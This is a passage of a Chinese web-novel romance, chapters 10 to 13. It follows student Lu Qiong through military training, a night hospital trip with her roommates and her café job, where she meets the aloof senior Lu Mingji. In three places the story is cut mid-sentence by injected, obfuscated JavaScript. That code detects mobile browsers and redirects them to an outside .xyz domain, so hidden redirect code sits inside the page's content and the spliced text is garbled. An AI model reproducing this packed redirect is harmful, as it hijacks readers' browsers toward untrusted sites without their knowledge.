陆明霁精准接住,往下一按,篮球落地,他一脚踩住,撩起眼皮瞅魏锦航:“有病?” 魏锦航一屁股坐到他旁边,拿起他的水咕咚灌两大口下肚,拧好瓶盖,右胳膊架在他肩膀上:“怎么样啊陆助教,这么多学妹环绕心里有何感受?” 军训区域是按照院系划分,人文学院和艺术学院在同一片地方,这两个专业女生占比最大,放眼望去,男生屈指可数。 像是唐僧误入女儿国。 这种类型的掐科打诨陆明霁懒得回,左肩膀一矮,魏锦航的胳膊就滑下来,他再挺直腰板。 落后几步的程桉几人过来,调侃陆明霁几句就转头搜寻着有无美女。 教官一声“向后转”,人文(1)班全体行动,一个个面容清晰的展现在魏锦航他们眼前,高个子那一排离他们最近。 程桉右边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14384110|153235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一外号叫二胖的男生看到麦青,眼睛一亮:“倒数第二个女生好看,陆哥我想要个微信。” 陆明霁向那边望时第一眼先给路琼,原因无他,上午军训的时候每一次转身路琼都会看他,次数一多,陆明霁想忽略都难。 而这一次,路琼没有如他所料那般行事。 她目视前方,神情专注又淡漠,与上午对陆明霁绽开笑颜的模样判若两人。 陆明霁一顿,不走心的瞟一眼站在路琼后面的麦青,不帮二胖:“想要自己去要。” “那我不是怕赶不上她们休息嘛。” 二胖话音刚落,教官就让她们休息二十分钟,路琼和麦青说去买水,麦青陪她一起,唐慕芮不想动,撒娇叫她们带个冰激凌回来。 路琼和麦青俩人都不是很喜欢肢体接触,她俩单独走就只是并肩,不像唐慕芮非要挎着。 走没两步,就被二胖拦住,他举着显示二维码的手机,吊儿郎当地睨着麦青:“美女,加个微信呗?” 麦青纹丝不动,眼球都没动一下:“不喜欢男人。” 说完掠过他就走,路琼跟上她。 二胖有被飒到,原地呆一会儿,最后在程桉的呼喊中回神,铩羽而归。 程桉问他要到没,他摇头:“拒绝我的理由很敷衍,说不喜欢男人。” 魏锦航拍腿大笑:“你看上的看着就难搞,要我说她前面那女生更漂亮。” 前面。 不就是路琼? 陆明霁讽他一句:“你该去医院治治眼睛了。” …… 各专业各班错峰休息也架不住学生数量庞大,附近几个商店都人满为患,路琼她俩买完东西就赶紧挤出去。 矿泉水饮料之类的饮品和冰激凌没放在一处,麦青去给唐慕芮买冰激凌,路琼就负责买三人的水。 到宽敞地带,路琼把水给麦青,麦青见她手里还有三瓶,就问她怎么多买一瓶。 路琼说:“给陆学长买的,他也挺辛苦的。” 麦青点点头,多余的话没说。 回到操场,魏锦航他们已经不在,陆明霁坐在树下的一个石墩上,长腿敞开,肘部抵膝,刷手机的姿态漫不经心,偏又不懒散。 麦青去找唐慕芮,路琼就朝陆明霁走。 光亮被遮挡,眼前多出一瓶水,陆明霁如有实质的目光从水瓶慢移向上,定格在路琼的脸:“我有水。” 拒绝的并不直接。 路琼四两拨千斤:“一点心意,我也会给韩学长买水。” 陆明霁不接。 路琼弯腰捡起他那瓶旧的,把新买的矿泉水放在他手边:“你这瓶被人喝过了,我觉得你应该不会再碰。” 优越的出身造就陆明霁不可一世的性格,他不需要圆滑,直指核心:“想干什么?” “不想干什么。”路琼不掩饰自己的心意:“我喜欢漂亮的,长得好看的人在我这里都会得到优待。” 陆明霁最不爱听别人用漂亮来形容他,尤其路琼还带着那副哄小孩一样的虚假笑容。 他切换回惜字如金的模式。 “不过我想知道——”路琼拉长最后一个字的音节,话里多加几分真诚:“如果我追你的话,有几分胜算?” 陆明霁神色不动,操作手机的手指灵活运动,不受半点干扰:“一分没有。” 11. 第 11 章 每次见面,陆明霁话说的都很难听,这次更是不留情面,路琼适应能力良好,也可能是根本没过心,没被他尖锐的刺扎到。 聊天止步于陆明霁给出的答案,路琼回到队伍里,席地而坐,仰头喝几口水,麦青也送完冰激凌回来,说唐慕芮晚上想出去吃。 军训快要结束,训练强度、时间安排都不如最初那样紧绷,今天晚上学校组织在操场观看电影,集合时间延后一个半小时。 路琼说行。 她和麦青的口腹之欲一向不高,在吃这方面,唐慕芮在三人里有着绝对的发言权。 二十分钟休息时间眨眼便过,教官哨声一经吹响,摊在地上没个正形的学生们稀稀拉拉站好。 路琼买来的那瓶矿泉水就在陆明霁手边,他没打开过,路琼也没有往他那里看过。 至于那瓶水最终的结局是什么,路琼不关心。 她送出去了,怎么处理是陆明霁的事情。 五点半,高悬整日的太阳隐没在幢幢楼体后,火红色的夕阳余晖铺陈开来。 总教官负手站在主席台上做着今日份训练小结,翻来覆去就那么几句话,台下众人都要听吐,耐心告罄前一秒钟,令他们不敢反抗又觉聒噪的声音随着一句“解散”变得动听。 排列整齐的四方队分散成三三两两的小团体。 唐慕芮饿得要命,冲到路琼和麦青那里,一手抓起一个向着校外奔,用行动证明她对吃饭这件事有多么急迫。 迷彩服不断交织走动,很快就找不到她们的身影,操场乱糟糟一片,盖过其他一切声音,陆明霁摘下耳机,临走前拿起那瓶未开封的矿泉水。 经过操场口的垃圾桶,手一扬就丢进去。 * 京大外的那条小吃街新开一家干锅鸭头,唐慕芮在网上刷到他家买的宣传推广,慕名而来。 她一个苏城人吃不得丁点辣还非要点个招牌中辣锅,人菜瘾大,辣得她吃下第一口后就在嘶哈嘶哈。 反观对面俩人,路琼脸蛋不红鼻涕不流,麦青同样淡定非常。 唐慕芮放下筷子,缓一缓被辣懵的脑子,不服气拍桌:“怎么你们两个都这么能吃辣?” 她先指麦青:“沪市和苏城口味差不多吧?” 再指路琼:“西北口重也不嗜辣吧?” 麦青给她倒杯温水:“我妈是川渝人,高中前我都在那边。” 路琼把纸抽递向唐慕芮,安抚她遭受不平衡的受伤心灵:“我从小吃辣,练出来的。” 唐慕芮鼻涕又流出来,快速抽两张纸捂住,擦干净后嘟嘟囔囔:“原来是你自己嗜辣。” 路琼不置可否。 不是她嗜辣,是因为家里穷,每年能拿出来买煤炭的钱有限,西北的冬天又太冷,捡来的树枝也顶不住太久,小老太太就让她吃辣椒。 辣到鼻涕眼泪都流出来,身体就暖和了。 久而久之,她就脱敏了。 唐慕芮一口气喝完那杯温水,还是不管用,跑去冰柜那里拎两瓶冰豆奶回来。 路琼拦她:“你这么吃,小心闹肚子。” 唐慕芮手一挥:“没关系,我钢铁肠胃。” 事实证明,人有时候就不能装逼太过。 晚饭嚷嚷着自己是钢铁肠胃无所畏惧的唐慕芮,在夜间凌晨两点,捂着肚子奄奄一息的从卫生间里挪出来。 卫生间在路琼床铺斜对面,她没有按遮光床帘,就用学校分发的半透明蚊帐。 听到响动,她撑起上半身,睡眼惺忪:“慕芮你怎么了?” 唐慕芮倚着门框,说话都是气音:“我感觉我要死了。” 路琼清醒不少,忙下床,过去搀住唐慕芮:“怎么回事,闹肚子了?” 唐慕芮不敢吱声,准确来说是不好意思,她的豪言壮语言犹在耳,现下身体状况啪啪打得她脸疼。 路琼一猜就是,扶着唐慕芮到她自己椅子那坐好。 寝室其他三人后来都把学校的破椅子换成舒服的躺椅或者电竞椅,路琼没有。 她找到唐慕芮水杯,去楼道饮水机那儿弄杯热水。 扯开门闩这一个来回,麦青也在床上下来,唐慕芮又跟她哭诉一番,攥着她手腕半死不活地靠在她身上。 路琼把吸管塞唐慕芮嘴里:“有点热,你小口喝。” 唐慕芮心安理得享受着两位好友的照顾,麦青感觉她手心有点烫,反手摸下她额头。 路琼和麦青之间有一种无形的默契,很奇怪的是她们没有训练过,就自然而然形成。 就比如现在,麦青一个动作,路琼就去她那儿准备的医药箱翻出体温计来。 他们再轻手轻脚,还是无法避免完全寂静,最后一个还在床上安然躺着的谷蕴柠终于被闹起来。 床帘拨开,她冒头,真丝眼罩掀在头顶:“你们大半夜干什么呢,不知道别人要睡觉啊?” 唐慕芮和谷蕴柠的相处模式就是一天一小吵两天一大吵,605宿舍的热闹全靠她俩挑大梁。 人在生病的时候最脆弱,唐慕芮被她这一不耐烦,眼泪啪嗒啪嗒掉:“你喊什么呀,我都要难受死了你还睡觉,同在一个屋檐下这么多天你都无动于衷,谷蕴柠你没有心!” “……” 路琼和麦青再一次默契闭嘴,不掺和两个小学生打架。 谷蕴柠借着卫生间朦朦胧胧的灯光打量两眼唐慕芮,挑眉:“你失恋啦?” “你才失恋!”唐慕芮澄清:“我是闹肚子!闹肚子!” 许是情绪激动牵连身体,唐慕芮嚷完这一句,人一僵,下一秒推开麦青,匆匆跑向卫生间,趴在洗漱池吐。 三人都吓一跳。 麦青追过去,路琼慢一步,谷蕴柠也懵逼地下床去察看,她才到卫生间门口,听见唐慕芮干呕的声音,又嫌弃地后退挡住鼻子,生怕闻到什么味道。 谷蕴柠问:“你这是乱吃什么东西啦?” 回应她的是唐慕芮又一声呕吐。 四人就这么两个在洗漱池边,一个拿着水杯站门口,一个站在门外,等唐慕芮吐完,路琼举着水杯喂她喝水漱口,麦青变成唐慕芮的人形支架在她背后撑着她。 唐慕芮这幅惨兮兮的样子让人不禁怀疑她下一就会闭气原地倒下。 谷蕴柠回桌边,在包里找出车钥匙,指挥三人:“走。” 路琼难得没在第一时间搞懂别人的想法:“去哪?” “医院。”谷蕴柠开门:“不然真让她死在这啊。” 这个点,宿管阿姨都不知道和周公会晤过几次,一阵当当当清脆的敲玻璃声音把她在睡梦中叫醒,她没个好气的拉开窗帘窗户:“什么事?” 谷蕴柠挺礼貌的叫一声阿姨,再阐述情况:“我舍友生病了需要去医院,麻烦您开下门。” “什么病啊?”宿管阿姨不当回事:“十一点后不允许学生外出是硬性规定,我看她也没什么大事,你们别是找借口溜出去玩。” 宿管阿姨是个四五十岁左右的大姨,吊梢眼,长相刻薄,平时跟女生说话酸里酸气没个好态度,跟男生就不。 上次谷蕴柠去快递驿站拿躺椅,忘记带门禁卡,让宿管在里面开一下,宿管唧唧歪歪半天不想管,还是帮她搬躺椅的男生出面,宿管就川剧变脸一样,责怪转变成嗔怪。 一把年纪的老大妈还搞媚男,谷蕴柠叫她一声阿姨是给她脸。 “凌晨三点酒吧都要打烊了我们能去哪玩?”谷蕴柠气笑:“她脸都要白成纸了还没什么事?宿舍水池里还有她呕吐物你要不要去看看?” “诶你这小姑娘怎么说话的?”宿管阿姨人身攻击:“你这小姑娘每天打扮的花枝招展,晚上送你回来的男生都不一样,谁知道你们今天出去是要去干什么?” 大小姐什么时候被人这么骂过,手臂一扬就要打人,手腕一动就被人攥住,人也被往后扯。 路琼上前一步挡住谷蕴柠,将手机递出去:“阿姨,我们是人文(1)班的学生,导员是吕菡,这是她刚批的假条,你如果不信现在就可以打电话去问她。” 路琼还是那一副淡然自若的模样,仿佛不管发生什么她都不会受其影响。 她面部轮廓柔和,细长眉,眼深邃,鼻梁高且挺,五官是西北人特有的硬朗大气。 周身又自有一种冷漠气场。 不近人情,不容置喙。 路琼漆黑的瞳仁直视着宿管,不着痕迹按下对方跋扈的气焰。 宿管阿姨嘴唇嗫喏,接过手机仔细检查两遍,不情不愿开门放人。 唐慕芮紧闭着眼,肚子绞痛折磨得她呼吸都减弱,麦青打横抱起她大步往外走。 “谢谢阿姨。”路琼取走她手机,睫毛下压,眼底落下一片阴影,她吐字清晰:“还有阿姨,我们女生怎么打扮、穿什么衣服、跟多少男生相处是我们的自由,不是你随意评判我们的理由,如果仅凭这些你就判定我们是什么样的人,眼界未免太过浅薄。” 谷蕴柠已经走到宿舍大门口,听到她这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14384111|153235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一句,回头看她一眼。 路琼不关心宿管阿姨什么反应,转身走人,她跨出门槛,谷蕴柠松开撑门的手,同她并排。 谷蕴柠从不掩饰自己的大小姐做派,桌上的每一套护肤品、饰品,衣柜里的每一件衣服、包包,无一不在彰显着她的家庭条件。 路琼她们是有点概念的,不过在看到谷蕴柠按下车钥匙,校内停车场那辆粉色宾利欧陆GT紧跟着闪烁两下车灯,唐慕芮病都暂时忘记生。 车后排,唐慕芮正襟危坐,小心翼翼触摸着真皮座椅:“我靠谷蕴柠,原来你是真富婆啊?” “我什么时候是假的了?”谷蕴柠说:“我警告你啊,想吐你也给我憋着,敢吐我车上我扒你一层皮。” 唐慕芮软软往旁边一倒,枕着麦青肩膀:“柠柠,你好凶我好害怕。” 谷蕴柠起一层鸡皮疙瘩:“再恶心我你就自己爬去医院!” 路琼和麦青都被逗笑,这样的场景最近每天都会上演,还是常看常新。 凌晨车少,没多久就到医院,路琼跑去挂急诊,麦青搂着唐慕芮,谷蕴柠任务完成事不关己的缀在后面。 诊断结果很快出来,是急性肠胃炎。 需要吊水。 谷蕴柠最讨厌医院消毒水的味道,唐慕芮扎上针之后她就去走廊尽头的露台呼吸新鲜空气,路琼取完药回来,看见谷蕴柠融入夜色里的背影,脚步没停,进输液室把药和一次性水杯送到唐慕芮手里。 唐慕芮吃完药,长叹一口气:“命运弄人啊。” “多注意就好了。”路琼安慰她两句,睇向麦青:“你在这陪她,我出去透口气。” 麦青嗯一声。 “我们宿舍一小矮子急性肠胃炎,我送她来医院了……” “诶你什么意思,我本来就人美心善。” 谷蕴柠娇蛮的嗓音徐徐传来,在与人视频,路琼无意瞥到她手机屏幕上显示的男人,没看清长什么样子,谷蕴柠就先发现她。 “不跟你说了,上你的课去吧,没事别来烦我。”谷蕴柠又补充:“我发你清单的礼物一个都不许少,不然别回来见我!” 叮—— 视频挂断。 谷蕴柠撩了下她被风吹乱的长发,问路琼什么事。 路琼脱下长袖睡衣外套,给她。 谷蕴柠一愣:“我不冷。” 她没有在唐慕芮打脸事件中吸取到教训,“冷”字还没说完,一个喷嚏打出来。 出来的急,谁都没拿外套,都穿的睡衣,谷蕴柠车上倒是有一条毯子,在唐慕芮身上披着。 路琼的睡衣中规中矩,成套的长袖长裤,她里面还有件白T,谷蕴柠就一条真丝睡裙,吊带款,长度堪堪盖住大腿根。 路琼胳膊还举着:“新洗的,挺干净。” “我不是——”谷蕴柠改口:“算了。” 她接过衣服穿上,外套留有路琼的体温,暖烘烘的,一下子将初秋深夜的寒凉隔绝开。 两人就这么站在露台吹风,沉默蔓延。 路琼是真想出来透口气,她贪觉,睡不够心情就会不太好。 这是一种生理反应,她控制不了。 困劲彻底过去,路琼折身要回输液室。 “等等。”谷蕴柠叫她,别别扭扭地揪着路琼睡衣袖口,嗓子眼里挤出两个字:“谢谢。” 路琼没听清:“嗯?” 谷蕴柠以为她在装,故意逗自己玩,瞪她一眼,还是重复说:“谢谢你。” 突生尴尬,谷蕴柠又加大声音掩饰不自在:“我知道我脾气不太好,但我不是没礼貌的人,你帮了我我说一句谢谢是应该的。” “哦。”路琼笑,她盯着谷蕴柠飘忽不定乱转圈的眼眸:“好,不客气。” 还是很怪异,谷蕴柠二次瞪她,昂起下巴,像只高傲的白天鹅:“我下午没去军训,你没骚扰陆明霁吧?” 路琼放松姿态,双臂环抱,平视着她:“骚扰了。” 谷蕴柠果然爆炸:“你对他干什么了!” 路琼掐头去尾:“我说我要追他。” “……” 谷蕴柠深呼吸口气,咬牙切齿:“他怎么说?” 路琼勾勾手指,示意谷蕴柠过来,谷蕴柠忍住想要掐死她的欲望,耳朵凑过去,路琼小小声:“不告诉你。” 留下这么大一个钩子,路琼甩甩手潇洒离去,谷蕴柠在原地气得跳脚。 她真的! 很想,掐死路琼! 12. 第 12 章 唐慕芮因祸得福,一次肠胃炎换来一张病假条,接下来的军训她只需要坐在病号席欣赏路琼她们左转右转齐步走的飒、爽、英、姿。 唐慕芮怕自己无聊,死缠烂打拽上同样不用军训的谷蕴柠陪她一起,谷蕴柠不愿意去,她每天行程安排得满满当当,喝喝下午茶逛逛街什么的,才不乐意去操场晒太阳受罪,但唐慕芮的脑回路就不能用正常人思维来衡量。 每天闹钟一响,唐慕芮就下床直奔谷蕴柠的床,把她拖起来,谷蕴柠闹起床气她也不在乎,俩人每天都能用鸡飞狗跳来形容。 最初最初,路琼想着自己身为班长的职责,有必要维护舍友与同学之间的和睦,现在她见怪不怪。 只要唐慕芮和谷蕴柠开始说话,哪怕只有一个字的交流,路琼和麦青就会不约而同戴上耳机,与她俩隔绝。 军训最后一个上午是汇报演出暨开学典礼,半个月来的训练内容都形成肌肉记忆刻在骨子里,演出进行十分顺利,最后一项是总教官上台致辞,一改往日的严肃作风,开启煽情模式。 烈日炎炎下,同学们面如死灰,所有人都在盼望着赶快结束回宿舍吹空调,却又在总教官指挥他们全体向后转,避开各班教官列队离开的画面时突然感受到离别的悲伤。 大多数女生还感性地掉下眼泪。 路琼听着耳畔传来的啜泣声,不做反应。 如果真的怕他们伤心,悄悄离开就是,干什么搞得如此声势浩大。 都是形式主义罢了。 第二个环节是开学典礼,校长讲话欢迎新生到来,礼炮齐鸣,烟花盛放。 路琼站在队伍末尾,抬起头。 蓝天白云,晴空万里,烟花在炽阳下失去鲜明色彩,但依旧绚烂。 麦青余光留意到路琼半晌没有动作,扭过脸。 路琼昂首望着天空,帽檐遮挡下,表情淡,一双眼睛熠熠生辉,额角汗珠下滑。 彩带缓缓落下,路琼伸手接住一片。 麦青想,于唐慕芮、谷蕴柠包括她,她们而言只需十分力就能得到的结果,路琼可能要付出千分、万分。 路琼,她一定是花费很多努力才走到今天。 走到这里。 * 大学生活第一个小阶段圆满落幕,接下来就是按部就班的上课。 路琼提前了解好几家招兼职的雕塑,军训汇报演出当天下午自由活动,她就去挨个面试,最终在当中挑选出一家离学校稍远、工资高的复合式花艺咖啡店。 一楼是咖啡店,二楼是花厅。 店名叫July,七月。 位于大学城范围的边缘。 幕后老板是一个温柔谦和的男人,路琼面试当天正巧碰到他来亲手制作咖啡,店长就顺便向他提了一嘴。 店里大部分员工都是京大学生,路琼还怕她是学生,兼职时间不固定惹得老板不喜,店长说July之所以开在大学城内就是为学生们提供便利。 店长是个三十岁左右的女人,平易近人,和员工们都打成一片。 在店长的科普下,路琼知道老板心上人出生在七月,店铺因此得名。 又听说,原本July不叫这个名字,最初就是个简单花店,老板心上人爱喝咖啡,口味又挑剔,老板才扩充整改。 浪漫的是,July不是全国连锁,但是老板心上人待过的地方就会有July的店铺。 京大是国内Top1高校,校内卧虎藏龙,大一入学就能接活自给自足的学生不在少数,谈事情显得正式又符合大多数学生们消费条件的地方,非July莫属。 路琼在July打工的短短半月,见过形形色色的人,趁机学习到些谈判技巧或者是人情世故的道理。 总之每天都有新收获。 国庆假期路琼没有回家,太折腾,和小老太太打过一次电话,俩人没什么可聊的,路琼就报备一下她在京北这一个月还不错,小老太太说没事就别联系,她烦。 两点一线的生活,上课和兼职占据她除去睡觉的所有时间,忙碌又充实。 军训那半月竟然是她最清闲的一段时间,期间招惹过的陆明霁早就被她抛诸脑后。 再次见到陆明霁,路琼甚至还用了几秒钟回想一下他是谁。 是个周五下午。 路琼上午的课上完,和唐慕芮她们仨吃完午饭就来July上班。 上午艺术学院有个交流活动,在July订了几百杯咖啡,在店员工忙到脚下生风,路琼过来时他们才喘口气。 店长游魂一样:“琼啊,你自己看会儿店可以吧,我们去后面吃口饭。” 路琼当然不会拒绝。 京北最近气温维持在二十三四度左右,下午一点四十分,秋日暖阳毫不吝啬的穿透落地窗洒进店内,空气里浮动着咖啡香气与花香,钢琴曲轻柔舒缓。 路琼系上围裙,收拾起操作台。 陆明霁推门进来时,路琼转过身,见有顾客,她条件反射一句:“欢迎光临。” 待看见陆明霁的脸,路琼先涌起一股熟悉感,停顿四五秒,陆明霁都走到收银台前,她认出他:“是你啊,好久不见。” 陆明霁没搭腔,点单:“一杯冰美。” 路琼在收银机上点两下:“可以扫了。” 陆明霁手机屏幕反扣,滴一声提示扫码成功。 店里现在没有其他人,路琼就没给陆明霁号码牌,陆明霁也意识到这点,直接挑个角落位置坐。 路琼学习速度快,上班没两天就把所有新品配方牢记于心,冰美式制作又最是简单,不一会儿她就端着托盘绕出收银台。 陆明霁靠坐在沙发里,双腿交叠,面前桌上摆着台笔电,他拇指托着下巴尖,食指按在左脸颊,其余三根手指蜷起抵着嘴唇,头微扬,眼睛向下睨。 从头到脚一股傲慢劲儿。 路琼放好咖啡,人没走,反而在他对面坐下。 陆明霁眼皮子撩起,漫不经心的:“有事?” 路琼控诉他:“我跟你打招呼你还没回应我。” 陆明霁冷淡依旧:“我为什么要回。” “我们很久没见了啊,怕你不记得我了。”路琼以己度人,理直气壮:“刚才你进门我就没认出来你。” 陆明霁:“……” 她还好意思说? 他垂眸,看电脑:“没见过你。” 路琼没有被击退:“那你现在见过了,我们再认识一次。” 她递过手:“陆学长你好,我叫路琼。” 陆明霁撑着脸的手挪开,左脸颊留下一枚浅淡指印,路琼看到,想他一个男生皮肤居然这么娇嫩。 她手还悬在半空,陆明霁视而不见,端起旁边的咖啡到嘴边喝着,目光全程没有离开电脑。 路琼根本没想过陆明霁会配合她来一出重新认识的戏码,并不失落,收回手站起来:“那你忙,有事叫我。” 没有拖沓,利落离开。 陆明霁再次抬眸,注视着她背影。 然后,被她低扎在脑后的马尾中,一撮翘起来的头发吸引。 …… 店长他们吃完饭,没着急出去,在后面工作间偷会儿懒,下午一两点这段时间普遍没什么人光顾,又过半小时,店长才带头开启后半天的工作。 下午外卖订单不多,制作完等外卖员逐一取走,他们就聊聊天。 辅导员在班级群里发布一条书评活动,不强制参加,但参加后加学分。 有学分,路琼就势必要参与了。 她写过读后感,不确定两者是不是同一种意思,上网搜了搜区别,心里有个大概。 路琼读过的书只有课本,课外书她没时间、没条件接触,截止时间在下周一,足够她读一本书再下笔。 她有事可干,没再关注陆明霁是否离开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14384112|153235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 店长做好一杯Dirty,让她端去2号桌。 两点后,店里又来了几位顾客,人不多,路琼扫着他们桌上的号码牌,找到2号桌。 还是角落的老地方。 陆明霁还没走,但他不再是一个人,对面路琼做过的位置被一个男人霸占。 男人容貌出众,白衬衫黑西裤,衣着正经,就是面上勾着的笑有点子浪荡味。 琢磨着他们可能是在谈事情,路琼没有打扰陆明霁,她也不会在第三人在场时招惹陆明霁。 咖啡从托盘里移到桌子上,男人道声谢谢,路琼回一句:“您慢用。” 托盘竖在身前,走时路琼听到男人说:“你给谷蕴柠打电话,叫她晚上吃饭。” 陆明霁无情回绝:“自己打。” “打不了,给我拉黑了。” “……” 每周五下午是July进货的日子,前面留几个人看店,其余人都去后门运货,店里女性员工占比大,男性稀缺,路琼个子高力气大,手脚麻利,有时候比男人都顶用。 她一人搬上搬下跑了两三趟,那边两个男员工还在磨洋工。 店长站在储物间门口点货,看到路琼一个人抱着快要一米高的箱子行动自如,又看到同等大小的箱子另外两个男员工竟然还要一起抬着。 对比不要太明显。 店长三步并两步走到近前,A4板夹照着两个男员工后脑勺拍过去:“两个大男人还不如路琼一个小姑娘,你们好意思?” 男员工之一的任城笑嘻嘻狡辩:“能者多劳嘛姐,而且路琼不在一般女性标准的范畴内。” 店长又是一拍,低斥:“不会说话你就给我闭嘴,路琼再能吃苦能干活也就是个小姑娘,她的尽职尽责不是你们不把她当女生看的原因。” 任城是店长任念的亲弟弟,性格顽劣不堪,勉强读完初中就从老家跑来京北投奔任念,未成年又没学历,在哪都找不到工作。 任念没什么人脉关系,只能求助于老板,亏得老板好说话,任城才能留下来。 任城在家里是混世魔王,谁都不服,只唯姐是从,任念教育他,他就乖乖听着,还能听进心里去。 “知道了姐,知道了。” 另一个男员工跟着点头:“知道了任姐。” 任念拿着夹板隔空虚点他们两下,折回储物间找路琼,叫她去前面看店,卸货的活交给两个男生。 路琼说没事,多一个人帮忙就能早点弄完,任念不听,推搡着她去前面,还勒令禁止她踏足后院。 路琼哭笑不得,收下任念这份好意。 搬货的时候全神贯注,这会儿闲下来,一双手磨擦地火烧火燎,左手食指不知道被什么东西不小心划出一道口子,几乎根食指一样长。 店里有医药箱,路琼准备先去卫生间洗手再去包扎。 冰凉的水流冲刷着伤口,刺痛细密,脏污都洗干净,她抽出两张卫生纸,擦拭着伤口边缘,低着头往外走。 伤口周围涔出点点血珠,破了点皮,露出红肉,不算太严重。 路琼蜷起手,拇指指腹捻着其余四指指腹的厚茧,轻呼口气。 她这双手,是养不好了, 或许,她和陆明霁的鞋之间是有些不解孽缘。 再一次踩到陆明霁,路琼心里升起这个念头。 卫生间的洗手池是男女共用,门口用一条涂鸦印花的门帘做隔断,只遮一半,不至于挡住全部视线,是路琼没留神。 而且就算是对方的责任,店里都是顾客,路琼一个员工也要先道歉,她没来得及看来人具体什么样子,条件反射半鞠躬:“不好意思,不小心踩到您了。” 又是一双白鞋报废在路琼脚下。 陆明霁感觉自己被训练出抗体,已经能用接近平心静气的态度来对待路琼在他雷点上反复横跳:“我看你挺好意思,每次见面都要踩我一脚。” 13. 第 13 章 路琼抬头。 陆明霁离她半步远,惯常的天鹅式姿势,下巴微昂,眼睛下耷,用鼻孔看人的少爷模样。 路琼放松下来,挂上应对陆明霁时的招牌笑容,比以往多出两分狡黠:“不是说没见过我,不认识我?” 不然怎么会说‘每次见面都要踩我一脚’。 陆明霁显然是忘记这茬,第一反应把他出卖个彻底。 下巴往后收缩一点,幅度很细微。 路琼还是捕捉到,她最是会察言观色,串联一下他们之前的谈话内容,想到原因:“你是不是因为我说没认出来你,你才故意说没见过我?” 她说:“陆明霁,你心眼好小。” 陆明霁面无表情:“有病就去治,别白日做梦。” 说完,绕过她进洗手间。 路琼愈发肯定她的猜测,随着他转身:“陆明霁,你现在好像一只被踩到尾巴炸毛的猫。” 陆明霁言简意赅甩给她两个字:“有病。” 他越骂就越侧面印证路琼的猜测。 路琼倚着墙,笑得开怀,及时拉住他手腕:“诶——” 她掌心温度低,还有未完全擦干净的水珠,一起贴在他皮肤上,沁凉感自她攥住的地方源源涌入他心里。 “打个商量?”路琼歪头:“我真挺喜欢你的,能给我增加点追你的胜算吗?” 喜欢到差点认不出? 这人就是个瞎话张嘴就来的骗子,陆明霁才不相信她:“不能。” 喜欢他的人多得是,他又不是慈善家。 忽觉自己竟然任由她攥着,陆明霁脸色一沉,甩开手,强调:“我不喜欢你。” 他腕间戴有一块机械表,抽手时表扣蹭到路琼的伤口,疼得她倒吸气,陆明霁脚步一顿,没准是她故意用来吸引他手段,他没回头,走进男卫生间。 路琼举起手到唇边吹气缓解,腹诽陆明霁铁石心肠。 …… 陆明霁来July是等PHP的人。 他在软件编程方面天赋极高,高三其他人都在为高考、留学焦头烂额时,他每天过得毫无烦恼。 他成绩好,高中三年次次考试霸榜年级第一,又早早和家里谈妥他以后的人生规划,手拿大男主剧本,相当有肆意妄为的资本。 按时到校上课是家里约束他定下的规矩,老师偏爱他,无论哪位任课老师都不会管他,别人埋头啃书本刷题,他转着笔翻编程书。 初三那年练手制作的一款简易解谜类小游戏被国内一家名不见经传的小游戏公司相中,就是PHP。 陆明霁调查过PHP,是个正在起步阶段的小规模公司,人员构造简单,发展前景不错,想购买他开发的游戏是因为和他家游戏是同类型竟品。 大概是以为陆明霁一个初中生,好对付,给点钱就行,柿子挑软的捏。 然后就被陆明霁好好上了一课,他同意把游戏转交给PHP继续开发运营,前提是他要技术入股,不参与公司决策,不收取一分钱。 陆明霁初中生的身份太具有迷惑性,负责人先入为主,没想到陆明霁会这么精,结果被反压一头。 陆明霁提出的要求着实吸引人,用来买他游戏的钱已经是在牙缝里抠出来,现在有更好的选择,何乐不为? 合作谈成后,PHP恰好拉到天使投,大笔资金入驻,PHP的困窘得到完美解决,稳步走上正轨。 不过PHP并不知道真正对他们进行投资的投资天使是陆明霁。 陆明霁还没出生,爷爷奶奶还有他妈就往他名下划分不少资产,但他一个初中生投资一家公司未免有些招摇,还没什么说服力。 彭靖驰比他大一岁,跳过级,彼时上大一,比他这个高中生清闲,他就托彭靖驰找的投资公司操作这件事。 陆明霁眼光毒辣,这两年PHP飞速成长,手握三款爆款游戏,其中一款就是陆明霁开发的解密游戏,在国内游戏市场占据一席之地。 今天PHP约见他,是想开发一款新游戏,邀请陆明霁加入团队,PHP给陆明霁发过电子版策划案,他挺感兴趣,面谈讨论细节。 路琼给其他桌送咖啡时,瞥到陆明霁那桌。 白T黑裤,清清爽爽的风格,左手腕黑色表带衬得他随性又贵气,时不时轻点电脑的手骨感修长,侧脸轮廓被窗外即将落下的最后一抹阳光精心勾勒。 